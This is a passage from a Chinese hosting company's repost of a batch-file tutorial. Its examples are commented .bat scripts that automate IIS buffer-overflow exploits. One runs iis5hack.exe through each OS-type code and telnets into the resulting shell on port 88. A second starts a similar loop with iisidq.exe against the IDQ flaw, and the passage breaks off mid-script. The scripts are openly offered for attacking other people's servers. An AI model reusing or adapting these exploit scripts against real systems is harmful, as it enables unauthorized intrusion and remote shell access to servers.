快速业务通道

经过整理的一些dos/bat批处理教程

作者 佚名 来源 批处理 浏览 发布时间 2013-07-09
1为没有发现0为发现并成功执行)
iis5hack%180988|find"good"/*开始溢出目标端口80系统代码9溢出后连接端口88在执行结果中发现字符串”good”(溢出成功后才会有字符串good)
ifnoterrorlevel1gototelnet/*如果没有错误代码1(溢出成功)就执行telnet段的内容。
echo操作系统类型9失败!/否则显示这一句
:8/*以下代码内容参照上面
iis5hack%180888|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型8失败!
:7
iis5hack%180788|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型7失败!
:6
iis5hack%180688|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型6失败!
:5
iis5hack%180588|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型5失败!
:4
iis5hack%180488|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型4失败!
:3
iis5hack%180388|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型3失败!
:2
iis5hack%180288|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型2失败!
:1
iis5hack%180188|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型1失败!
:0
iis5hack%180088|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型0失败!
gotoerror
:telnet
telnet%188/*开始连接目标ip的88端口
gotoexit/*连接中断后跳转exit段
:error/*error段显示错误后的帮助信息
echo可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!
echoiis5hack[目标IP][WEB端口][系统类型][开放端口]
ECHO中文:0
ECHO中文+sp1:1
ECHO英文:2
ECHO英文+sp1:3
ECHO日语:4
ECHO日语+sp1:5
ECHO韩文:6
ECHO韩文+sp1:7
ECHO墨西哥语:8
ECHO墨西哥语+sp1:9
gotoexit/*跳转exit段
:file/*file段显示文件没有发现的信息
echo文件iis5hack.exe没有发现!程序终止运行!
gotoexit/*跳转exit段
:help/*help段显示本批处理的使用格式帮助
echo本程序用法如下:
echoiis[目标ip]
echoiis[目标ip][开始的号码9-0]
:exit/*exit段为程序出口
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!
例二
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:
运行参数:操作系统类型目的地址web端口1溢出监听端口<输入命令1>
其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为<idq.bat目标ip>程序如下:
@echooff/*同例一
ifnotEXISTiisidq.exegotofile/*同例一
if%1==""gotoerror/*同例一
ping%1-n1|find"Received=1"/*同例一
iferrorlevel1gotoerror1/*同例一
setb=%1/*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip
seta=0/*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。
:no/*no段开始
if%a%==0setd=0/*如果环境变量a=0则创建环境变量d设定环境变量d=0。
if%a%==1setd=1/*环境变量d其实是操作系统类型代码,用计数器来控制其
if%a%==2setd=2/*变动。
if%a%==3setd=3
if%a%==4setd=4
if%a%==5setd=5
if%a%==6setd=6
if%a%==7setd=7
if%a%==9setd=9
if%a%==10setd=13
if%a%==11setd=14
goto0/*变量传递完成后转到标志0处运行
:1
echo正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......
:0/*标志0开始
IISIDQ%d%%b%80199|find"good"/*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)
iferrorlevel1goto1/*如果没有good字符串则没有发送成跳
/*转标志1处继续尝试发送
ping127.0.0.1-

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号